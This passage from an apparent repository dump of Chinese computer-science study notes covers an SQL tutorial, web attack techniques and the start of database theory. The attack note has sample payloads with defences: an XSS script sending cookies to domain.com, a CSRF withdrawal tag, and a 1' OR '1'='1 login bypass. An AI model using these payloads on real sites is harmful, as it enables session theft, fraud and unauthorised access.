可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/SQL.md",
    "content": "<!-- GFM-TOC -->\n* [一、基础](#一基础)\n* [二、创建表](#二创建表)\n* [三、修改表](#三修改表)\n* [四、插入](#四插入)\n* [五、更新](#五更新)\n* [六、删除](#六删除)\n* [七、查询](#七查询)\n* [八、排序](#八排序)\n* [九、过滤](#九过滤)\n* [十、通配符](#十通配符)\n* [十一、计算字段](#十一计算字段)\n* [十二、函数](#十二函数)\n* [十三、分组](#十三分组)\n* [十四、子查询](#十四子查询)\n* [十五、连接](#十五连接)\n* [十六、组合查询](#十六组合查询)\n* [十七、视图](#十七视图)\n* [十八、存储过程](#十八存储过程)\n* [十九、游标](#十九游标)\n* [二十、触发器](#二十触发器)\n* [二十一、事务管理](#二十一事务管理)\n* [二十二、字符集](#二十二字符集)\n* [二十三、权限管理](#二十三权限管理)\n* [参考资料](#参考资料)\n<!-- GFM-TOC -->\n\n\n# 一、基础\n\n模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息，数据库和表都有模式。\n\n主键的值不允许修改，也不允许复用（不能使用已经删除的主键值赋给新数据行的主键）。\n\nSQL（Structured Query Language)，标准 SQL 由 ANSI 标准委员会管理，从而称为 ANSI SQL。各个 DBMS 都有自己的实现，如 PL/SQL、Transact-SQL 等。\n\nSQL 语句不区分大小写，但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。\n\nSQL 支持以下三种注释：\n\n```sql\n# 注释\nSELECT *\nFROM mytable; -- 注释\n/* 注释1\n   注释2 */\n```\n\n数据库创建与使用：\n\n```sql\nCREATE DATABASE test;\nUSE test;\n```\n\n# 二、创建表\n\n```sql\nCREATE TABLE mytable (\n  id INT NOT NULL AUTO_INCREMENT,\n  col1 INT NOT NULL DEFAULT 1,\n  col2 VARCHAR(45) NULL,\n  col3 DATE NULL,\n  PRIMARY KEY (`id`));\n```\n\n# 三、修改表\n\n添加列\n\n```sql\nALTER TABLE mytable\nADD col CHAR(20);\n```\n\n删除列\n\n```sql\nALTER TABLE mytable\nDROP COLUMN col;\n```\n\n删除表\n\n```sql\nDROP TABLE mytable;\n```\n\n# 四、插入\n\n普通插入\n\n```sql\nINSERT INTO mytable(col1, col2)\nVALUES(val1, val2);\n```\n\n插入检索出来的数据\n\n```sql\nINSERT INTO mytable1(col1, col2)\nSELECT col1, col2\nFROM mytable2;\n```\n\n将一个表的内容插入到一个新表\n\n```sql\nCREATE TABLE newtable AS\nSELECT * FROM mytable;\n```\n\n# 五、更新\n\n```sql\nUPDATE mytable\nSET col = val\nWHERE id = 1;\n```\n\n# 六、删除\n\n```sql\nDELETE FROM mytable\nWHERE id = 1;\n```\n\n**TRUNCATE TABLE**  可以清空表，也就是删除所有行。\n\n```sql\nTRUNCATE TABLE mytable;\n```\n\n使用更新和删除操作时一定要用 WHERE 子句，不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试，防止错误删除。\n\n# 七、查询\n\n## DISTINCT\n\n相同值只会出现一次。它作用于所有列，也就是说所有列的值都相同才算相同。\n\n```sql\nSELECT DISTINCT col1, col2\nFROM mytable;\n```\n\n## LIMIT\n\n限制返回的行数。可以有两个参数，第一个参数为起始行，从 0 开始；第二个参数为返回的总行数。\n\n返回前 5 行：\n\n```sql\nSELECT *\nFROM mytable\nLIMIT 5;\n```\n\n```sql\nSELECT *\nFROM mytable\nLIMIT 0, 5;\n```\n\n返回第 3 \\~ 5 行：\n\n```sql\nSELECT *\nFROM mytable\nLIMIT 2, 3;\n```\n\n# 八、排序\n\n-  **ASC** ：升序（默认）\n-  **DESC** ：降序\n\n可以按多个列进行排序，并且为每个列指定不同的排序方式：\n\n```sql\nSELECT *\nFROM mytable\nORDER BY col1 DESC, col2 ASC;\n```\n\n# 九、过滤\n\n不进行过滤的数据非常大，导致通过网络传输了多余的数据，从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据，而不是传输所有的数据到客户端中然后由客户端进行过滤。\n\n```sql\nSELECT *\nFROM mytable\nWHERE col IS NULL;\n```\n\n下表显示了 WHERE 子句可用的操作符\n\n|  操作符 | 说明  |\n| :---: | :---: |\n| = | 等于 |\n| &lt; | 小于 |\n| &gt; | 大于 |\n| &lt;&gt; != | 不等于 |\n| &lt;= !&gt; | 小于等于 |\n| &gt;= !&lt; | 大于等于 |\n| BETWEEN | 在两个值之间 |\n| IS NULL | 为 NULL 值 |\n\n应该注意到，NULL 与 0、空字符串都不同。\n\n**AND 和 OR**  用于连接多个过滤条件。优先处理 AND，当一个过滤表达式涉及到多个 AND 和 OR 时，可以使用 () 来决定优先级，使得优先级关系更清晰。\n\n**IN**  操作符用于匹配一组值，其后也可以接一个 SELECT 子句，从而匹配子查询得到的一组值。\n\n**NOT**  操作符用于否定一个条件。\n\n# 十、通配符\n\n通配符也是用在过滤语句中，但它只能用于文本字段。\n\n-  **%**  匹配 >=0 个任意字符；\n\n-  **\\_**  匹配 ==1 个任意字符；\n\n-  **[ ]**  可以匹配集合内的字符，例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定，也就是不匹配集合内的字符。\n\n使用 Like 来进行通配符匹配。\n\n```sql\nSELECT *\nFROM mytable\nWHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本\n```\n\n不要滥用通配符，通配符位于开头处匹配会非常慢。\n\n# 十一、计算字段\n\n在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多，并且转换和格式化后的数据量更少的话可以减少网络通信量。\n\n计算字段通常需要使用  **AS**  来取别名，否则输出的时候字段名为计算表达式。\n\n```sql\nSELECT col1 * col2 AS alias\nFROM mytable;\n```\n\n**CONCAT()**  用于连接两个字段。许多数据库会使用空格把一个值填充为列宽，因此连接的结果会出现一些不必要的空格，使用 **TRIM()** 可以去除首尾空格。\n\n```sql\nSELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col\nFROM mytable;\n```\n\n# 十二、函数\n\n各个 DBMS 的函数都是不相同的，因此不可移植，以下主要是 MySQL 的函数。\n\n## 汇总\n\n|函 数 |说 明|\n| :---: | :---: |\n| AVG() | 返回某列的平均值 |\n| COUNT() | 返回某列的行数 |\n| MAX() | 返回某列的最大值 |\n| MIN() | 返回某列的最小值 |\n| SUM() |返回某列值之和 |\n\nAVG() 会忽略 NULL 行。\n\n使用 DISTINCT 可以让汇总函数值汇总不同的值。\n\n```sql\nSELECT AVG(DISTINCT col1) AS avg_col\nFROM mytable;\n```\n\n## 文本处理\n\n| 函数  | 说明  |\n| :---: | :---: |\n|  LEFT() |  左边的字符 |\n| RIGHT() | 右边的字符 |\n| LOWER() | 转换为小写字符 |\n| UPPER() | 转换为大写字符 |\n| LTRIM() | 去除左边的空格 |\n| RTRIM() | 去除右边的空格 |\n| LENGTH() | 长度 |\n| SOUNDEX() | 转换为语音值 |\n\n其中， **SOUNDEX()**  可以将一个字符串转换为描述其语音表示的字母数字模式。\n\n```sql\nSELECT *\nFROM mytable\nWHERE SOUNDEX(col1) = SOUNDEX('apple')\n```\n\n## 日期和时间处理\n\n\n- 日期格式：YYYY-MM-DD\n- 时间格式：HH:<zero-width space>MM:SS\n\n|函 数 | 说 明|\n| :---: | :---: |\n| AddDate() | 增加一个日期（天、周等）|\n| AddTime() | 增加一个时间（时、分等）|\n| CurDate() | 返回当前日期 |\n| CurTime() | 返回当前时间 |\n| Date() |返回日期时间的日期部分|\n| DateDiff() |计算两个日期之差|\n| Date_Add() |高度灵活的日期运算函数|\n| Date_Format() |返回一个格式化的日期或时间串|\n| Day()| 返回一个日期的天数部分|\n| DayOfWeek() |对于一个日期，返回对应的星期几|\n| Hour() |返回一个时间的小时部分|\n| Minute() |返回一个时间的分钟部分|\n| Month() |返回一个日期的月份部分|\n| Now() |返回当前日期和时间|\n| Second() |返回一个时间的秒部分|\n| Time() |返回一个日期时间的时间部分|\n| Year() |返回一个日期的年份部分|\n\n```sql\nmysql> SELECT NOW();\n```\n\n```\n2018-4-14 20:25:11\n```\n\n## 数值处理\n\n| 函数 | 说明 |\n| :---: | :---: |\n| SIN() | 正弦 |\n| COS() | 余弦 |\n| TAN() | 正切 |\n| ABS() | 绝对值 |\n| SQRT() | 平方根 |\n| MOD() | 余数 |\n| EXP() | 指数 |\n| PI() | 圆周率 |\n| RAND() | 随机数 |\n\n# 十三、分组\n\n分组就是把具有相同的数据值的行放在同一组中。\n\n可以对同一分组数据使用汇总函数进行处理，例如求分组数据的平均值等。\n\n指定的分组字段除了能按该字段进行分组，也会自动按该字段进行排序。\n\n```sql\nSELECT col, COUNT(*) AS num\nFROM mytable\nGROUP BY col;\n```\n\nGROUP BY 自动按分组字段进行排序，ORDER BY 也可以按汇总字段来进行排序。\n\n```sql\nSELECT col, COUNT(*) AS num\nFROM mytable\nGROUP BY col\nORDER BY num;\n```\n\nWHERE 过滤行，HAVING 过滤分组，行过滤应当先于分组过滤。\n\n```sql\nSELECT col, COUNT(*) AS num\nFROM mytable\nWHERE col > 2\nGROUP BY col\nHAVING num >= 2;\n```\n\n分组规定：\n\n- GROUP BY 子句出现在 WHERE 子句之后，ORDER BY 子句之前；\n- 除了汇总字段外，SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出；\n- NULL 的行会单独分为一组；\n- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。\n\n# 十四、子查询\n\n子查询中只能返回一个字段的数据。\n\n可以将子查询的结果作为 WHRER 语句的过滤条件：\n\n```sql\nSELECT *\nFROM mytable1\nWHERE col1 IN (SELECT col2\n               FROM mytable2);\n```\n\n下面的语句可以检索出客户的订单数量，子查询语句会对第一个查询检索出的每个客户执行一次：\n\n```sql\nSELECT cust_name, (SELECT COUNT(*)\n                   FROM Orders\n                   WHERE Orders.cust_id = Customers.cust_id)\n                   AS orders_num\nFROM Customers\nORDER BY cust_name;\n```\n\n# 十五、连接\n\n连接用于连接多个表，使用 JOIN 关键字，并且条件语句使用 ON 而不是 WHERE。\n\n连接可以替换子查询，并且比子查询的效率一般会更快。\n\n可以用 AS 给列名、计算字段和表名取别名，给表名取别名是为了简化 SQL 语句以及连接相同表。\n\n## 内连接\n\n内连接又称等值连接，使用 INNER JOIN 关键字。\n\n```sql\nSELECT A.value, B.value\nFROM tablea AS A INNER JOIN tableb AS B\nON A.key = B.key;\n```\n\n可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。\n\n```sql\nSELECT A.value, B.value\nFROM tablea AS A, tableb AS B\nWHERE A.key = B.key;\n```\n\n在没有条件语句的情况下返回笛卡尔积。\n\n## 自连接\n\n自连接可以看成内连接的一种，只是连接的表是自身而已。\n\n一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。\n\n子查询版本\n\n```sql\nSELECT name\nFROM employee\nWHERE department = (\n      SELECT department\n      FROM employee\n      WHERE name = \"Jim\");\n```\n\n自连接版本\n\n```sql\nSELECT e1.name\nFROM employee AS e1 INNER JOIN employee AS e2\nON e1.department = e2.department\n      AND e2.name = \"Jim\";\n```\n\n## 自然连接\n\n自然连接是把同名列通过等值测试连接起来的，同名列可以有多个。\n\n内连接和自然连接的区别：内连接提供连接的列，而自然连接自动连接所有同名列。\n\n```sql\nSELECT A.value, B.value\nFROM tablea AS A NATURAL JOIN tableb AS B;\n```\n\n## 外连接\n\n外连接保留了没有关联的那些行。分为左外连接，右外连接以及全外连接，左外连接就是保留左表没有关联的行。\n\n检索所有顾客的订单信息，包括还没有订单信息的顾客。\n\n```sql\nSELECT Customers.cust_id, Orders.order_num\nFROM Customers LEFT OUTER JOIN Orders\nON Customers.cust_id = Orders.cust_id;\n```\n\ncustomers 表：\n\n| cust_id | cust_name |\n| :---: | :---: |\n| 1 | a |\n| 2 | b |\n| 3 | c |\n\norders 表：\n\n| order_id | cust_id |\n| :---: | :---: |\n|1    | 1 |\n|2    | 1 |\n|3    | 3 |\n|4    | 3 |\n\n结果：\n\n| cust_id | cust_name | order_id |\n| :---: | :---: | :---: |\n| 1 | a | 1 |\n| 1 | a | 2 |\n| 3 | c | 3 |\n| 3 | c | 4 |\n| 2 | b | Null |\n\n# 十六、组合查询\n\n使用  **UNION**  来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。\n\n每个查询必须包含相同的列、表达式和聚集函数。\n\n默认会去除相同行，如果需要保留相同行，使用 UNION ALL。\n\n只能包含一个 ORDER BY 子句，并且必须位于语句的最后。\n\n```sql\nSELECT col\nFROM mytable\nWHERE col = 1\nUNION\nSELECT col\nFROM mytable\nWHERE col =2;\n```\n\n# 十七、视图\n\n视图是虚拟的表，本身不包含数据，也就不能对其进行索引操作。\n\n对视图的操作和对普通表的操作一样。\n\n视图具有如下好处：\n\n- 简化复杂的 SQL 操作，比如复杂的连接；\n- 只使用实际表的一部分数据；\n- 通过只给用户访问视图的权限，保证数据的安全性；\n- 更改数据格式和表示。\n\n```sql\nCREATE VIEW myview AS\nSELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col\nFROM mytable\nWHERE col5 = val;\n```\n\n# 十八、存储过程\n\n存储过程可以看成是对一系列 SQL 操作的批处理。\n\n使用存储过程的好处：\n\n- 代码封装，保证了一定的安全性；\n- 代码复用；\n- 由于是预先编译，因此具有很高的性能。\n\n命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。\n\n包含 in、out 和 inout 三种参数。\n\n给变量赋值都需要用 select into 语句。\n\n每次只能给一个变量赋值，不支持集合的操作。\n\n```sql\ndelimiter //\n\ncreate procedure myprocedure( out ret int )\n    begin\n        declare y int;\n        select sum(col1)\n        from mytable\n        into y;\n        select y*y into ret;\n    end //\n\ndelimiter ;\n```\n\n```sql\ncall myprocedure(@ret);\nselect @ret;\n```\n\n# 十九、游标\n\n在存储过程中使用游标可以对一个结果集进行移动遍历。\n\n游标主要用于交互式应用，其中用户需要对数据集中的任意行进行浏览和修改。\n\n使用游标的四个步骤：\n\n1. 声明游标，这个过程没有实际检索出数据；\n2. 打开游标；\n3. 取出数据；\n4. 关闭游标；\n\n```sql\ndelimiter //\ncreate procedure myprocedure(out ret int)\n    begin\n        declare done boolean default 0;\n\n        declare mycursor cursor for\n        select col1 from mytable;\n        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1\n        declare continue handler for sqlstate '02000' set done = 1;\n\n        open mycursor;\n\n        repeat\n            fetch mycursor into ret;\n            select ret;\n        until done end repeat;\n\n        close mycursor;\n    end //\n delimiter ;\n```\n\n# 二十、触发器\n\n触发器会在某个表执行以下语句时而自动执行：DELETE、INSERT、UPDATE。\n\n触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。\n\nINSERT 触发器包含一个名为 NEW 的虚拟表。\n\n```sql\nCREATE TRIGGER mytrigger AFTER INSERT ON mytable\nFOR EACH ROW SELECT NEW.col into @result;\n\nSELECT @result; -- 获取结果\n```\n\nDELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。\n\nUPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。\n\nMySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。\n\n# 二十一、事务管理\n\n基本术语：\n\n- 事务（transaction）指一组 SQL 语句；\n- 回退（rollback）指撤销指定 SQL 语句的过程；\n- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；\n- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。\n\n不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。\n\nMySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。\n\n通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。\n\n如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。\n\n```sql\nSTART TRANSACTION\n// ...\nSAVEPOINT delete1\n// ...\nROLLBACK TO delete1\n// ...\nCOMMIT\n```\n\n# 二十二、字符集\n\n基本术语：\n\n- 字符集为字母和符号的集合；\n- 编码为某个字符集成员的内部表示；\n- 校对字符指定如何比较，主要用于排序和分组。\n\n除了给表指定字符集和校对外，也可以给列指定：\n\n```sql\nCREATE TABLE mytable\n(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )\nDEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;\n```\n\n可以在排序、分组时指定校对：\n\n```sql\nSELECT *\nFROM mytable\nORDER BY col COLLATE latin1_general_ci;\n```\n\n# 二十三、权限管理\n\nMySQL 的账户信息保存在 mysql 这个数据库中。\n\n```sql\nUSE mysql;\nSELECT user FROM user;\n```\n\n**创建账户** \n\n新创建的账户没有任何权限。\n\n```sql\nCREATE USER myuser IDENTIFIED BY 'mypassword';\n```\n\n**修改账户名** \n\n```sql\nRENAME myuser TO newuser;\n```\n\n**删除账户** \n\n```sql\nDROP USER myuser;\n```\n\n**查看权限** \n\n```sql\nSHOW GRANTS FOR myuser;\n```\n\n**授予权限** \n\n账户用 username@host 的形式定义，username@% 使用的是默认主机名。\n\n```sql\nGRANT SELECT, INSERT ON mydatabase.* TO myuser;\n```\n\n**删除权限** \n\nGRANT 和 REVOKE 可在几个层次上控制访问权限：\n\n- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；\n- 整个数据库，使用 ON database.\\*；\n- 特定的表，使用 ON database.table；\n- 特定的列；\n- 特定的存储过程。\n\n```sql\nREVOKE SELECT, INSERT ON mydatabase.* FROM myuser;\n```\n\n**更改密码** \n\n必须使用 Password() 函数\n\n```sql\nSET PASSWROD FOR myuser = Password('new_password');\n```\n\n# 参考资料\n\n- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/攻击技术.md",
    "content": "<!-- GFM-TOC -->\n* [一、跨站脚本攻击](#一跨站脚本攻击)\n* [二、跨站请求伪造](#二跨站请求伪造)\n* [三、SQL 注入攻击](#三sql-注入攻击)\n* [四、拒绝服务攻击](#四拒绝服务攻击)\n* [参考资料](#参考资料)\n<!-- GFM-TOC -->\n\n\n# 一、跨站脚本攻击\n\n## 概念\n\n跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。\n\n## 攻击原理\n\n例如有一个论坛网站，攻击者可以在上面发布以下内容：\n\n```html\n<script>location.href=\"//domain.com/?c=\" + document.cookie</script>\n```\n\n之后该内容可能会被渲染成以下形式：\n\n```html\n<p><script>location.href=\"//domain.com/?c=\" + document.cookie</script></p>\n```\n\n另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。\n\n## 危害\n\n- 窃取用户的 Cookie\n- 伪造虚假的输入表单骗取个人信息\n- 显示伪造的文章或者图片\n\n## 防范手段\n\n### 1. 设置 Cookie 为 HttpOnly\n\n设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。\n\n### 2. 过滤特殊字符\n\n例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。\n\n富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。\n\n富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。\n\n以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。\n\n```html\n<h1 id=\"title\">XSS Demo</h1>\n\n<p>123</p>\n\n<form>\n  <input type=\"text\" name=\"q\" value=\"test\">\n</form>\n\n<pre>hello</pre>\n\n<script type=\"text/javascript\">\nalert(/xss/);\n</script>\n```\n\n```html\n<h1>XSS Demo</h1>\n\n<p>123</p>\n\n&lt;form&gt;\n  &lt;input type=\"text\" name=\"q\" value=\"test\"&gt;\n&lt;/form&gt;\n\n<pre>hello</pre>\n\n&lt;script type=\"text/javascript\"&gt;\nalert(/xss/);\n&lt;/script&gt;\n```\n\n> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)\n\n# 二、跨站请求伪造\n\n## 概念\n\n跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。\n\nXSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。\n\n## 攻击原理\n\n假如一家银行用以执行转账操作的 URL 地址如下：\n\n```\nhttp://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。\n```\n\n那么，一个恶意攻击者可以在另一个网站上放置如下代码：\n\n```\n<img src=\"http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman\">。\n```\n\n如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。\n\n这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。\n\n通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。\n\n## 防范手段\n\n### 1. 检查 Referer 首部字段\n\nReferer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。\n\n这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。\n\n### 2. 添加校验 Token\n\n在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。\n\n### 3. 输入验证码\n\n因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。\n\n# 三、SQL 注入攻击\n\n## 概念\n\n服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。\n\n## 攻击原理\n\n例如一个网站登录验证的 SQL 查询代码为：\n\n```sql\nstrSQL = \"SELECT * FROM users WHERE (name = '\" + userName + \"') and (pw = '\"+ passWord +\"');\"\n```\n\n如果填入以下内容：\n\n```sql\nuserName = \"1' OR '1'='1\";\npassWord = \"1' OR '1'='1\";\n```\n\n那么 SQL 查询字符串为：\n\n```sql\nstrSQL = \"SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');\"\n```\n\n此时无需验证通过就能执行以下查询：\n\n```sql\nstrSQL = \"SELECT * FROM users;\"\n```\n\n## 防范手段\n\n### 1. 使用参数化查询\n\nJava 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。\n\n```java\nPreparedStatement stmt = connection.prepareStatement(\"SELECT * FROM users WHERE userid=? AND password=?\");\nstmt.setString(1, userid);\nstmt.setString(2, password);\nResultSet rs = stmt.executeQuery();\n```\n\n### 2. 单引号转换\n\n将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。\n\n# 四、拒绝服务攻击\n\n拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。\n\n分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。\n\n# 参考资料\n\n- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)\n- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)\n- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)\n- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/数据库系统原理.md",
    "content": "<!-- GFM-TOC -->\n* [一、事务](#一事务)\n    * [概念](#概念)\n    * [ACID](#acid)\n    * [AUTOCOMMIT](#autocommit)\n* [二、并发一致性问题](#二并发一致性问题)\n    * [丢失修改](#丢失修改)\n    * [读脏数据](#读脏数据)\n    * [不可重复读](#不可重复读)\n    * [幻影读](#幻影读)\n* [三、封锁](#三封锁)\n    * [封锁粒度](#封锁粒度)\n    * [封锁类型](#封锁类型)\n    * [封锁协议](#封锁协议)\n    * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)\n* [四、隔离级别](#四隔离级别)\n    * [未提交读（READ UNCOMMITTED）](#未提交读read-uncommitted)\n    * [提交读（READ COMMITTED）](#提交读read-committed)\n    * [可重复读（REPEATABLE READ）](#可重复读repeatable-read)\n    * [可串行化（SERIALIZABLE）](#可串行化serializable)\n* [五、多版本并发控制](#五多版本并发控制)\n    * [版本号](#版本号)\n    * [隐藏的列](#隐藏的列)\n    * [Undo 日志](#undo-日志)\n    * [实现过程](#实现过程)\n    * [快照读与当前读](#快照读与当前读)\n* [六、Next-Key Locks](#六next-key-locks)\n    * [Record Locks](#record-locks)\n    * [Gap Locks](#gap-locks)\n    * [Next-Key Locks](#next-key-locks)\n* [七、关系数据库设计理论](#七关系数据库设计理论)\n    * [函数依赖](#函数依赖)\n    * [异常](#异常)\n    * [范式](#范式)\n* [八、ER 图](#八er-图)\n    * [实体的三种联系](#实体的三种联系)\n    * [表示出现多次的关系](#表示出现多次的关系)\n    * [联系的多向性](#联系的多向性)\n    * [表示子类](#表示子类)\n* [参考资料](#参考资料)\n<!-- GFM-TOC -->\n\n\n# 一、事务\n\n## 概念\n\n事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/731a5e8f-a2c2-43ff-b8dd-6aeb9fffbe26.jpg\" width=\"400px\"> </div><br>\n\n## ACID\n\n### 1. 原子性（Atomicity）\n\n事务被视为不可分割的最小单元，事务的所有操作要么全部提交成功，要么全部失败回滚。\n\n回滚可以用回滚日志来实现，回滚日志记录着事务所执行的修改操作，在回滚时反向执行这些修改操作即可。\n\n### 2. 